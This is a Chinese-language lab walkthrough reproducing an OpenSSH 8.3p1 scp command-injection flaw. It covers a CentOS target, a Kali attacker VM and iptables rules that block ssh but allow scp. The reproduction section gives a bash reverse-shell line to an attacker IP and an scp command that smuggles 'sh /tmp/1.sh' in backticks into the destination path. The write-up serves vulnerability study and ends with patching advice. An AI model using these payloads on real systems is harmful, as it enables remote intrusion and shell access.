1.漏洞描述
(1)简介:2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。该漏洞属于命令执行漏洞,目前绝大多数linux系统受影响。
(2)scp介绍:scp是Linux下基于 ssh 登陆进行安全的远程文件拷贝命,用于不同Linux系统之间复制文件和目录。该命令由openssh的scp.c及其他相关代码实现。在本次漏洞复现中就是利用scp命令把一个kali系统的文件传输给Linux系统。
(3)漏洞类型:命令执行
(4)漏洞影响版本:OpenSSH <= 8.3p1
2.环境搭建
虚拟机安装CentOS和kali靶机环境:CentOS6,ip:172.20.10.3渗透机环境:Kali ip:172.10.10.2
3.centos机使用iptables策略配置环境,禁用ssh登录,只保留scp。
1、查看ssh版本
ssh -V
测试为漏洞存在版本。
2、测试ssh与scp在正常情况下的使用情况。
可以正常使用。
3、执行ervice iptables status 检查是否安装iptables,若已安装IP tables,可跳过第三步。
(1)安装iptables
yum install -y iptables
(2)安装iptables-services
yum install iptables-services
(3)centOS7默认自带firewalld
先停止firewalld服务 systemctl stop firewalld 禁用firewalld服务 systemctl mask firewalld
(4)查看现有规则
iptables -L -vn iptables -F是清空默认规则 iptables -L -n --line-number 显示规则和相对应的编号
4、在Centos中设置iptables策略,禁用ssh远程连接,但开放scp。
命令:
service iptables start iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP service iptables save iptables -L -n --line-number
5、测试ssh与scp在已设置iptables策略下的使用情况。
4.SSH命令注入漏洞复现
1、在kali创建一个1.sh文件,并写入一个反弹shell的bash命令。
bash -i >& /dev/tcp/172.20.10.2/4444 0>&1
2、使用scp命令,把该文件上传到靶机的/tmp下
3、在新建的命令行页面中输入命令:
4、使用POC,远程执行命令。
scp 1.sh root@172.20.10.3:'`sh /tmp/1.sh`'
可以看到,在输完密码后,稍等一会就已经成功反弹了shell,实验结束。
漏洞防御
1、先确保ssh密码没有泄露,等一波openssh的新版本吧
2、升级ssh版本
3、等待厂商发布补丁



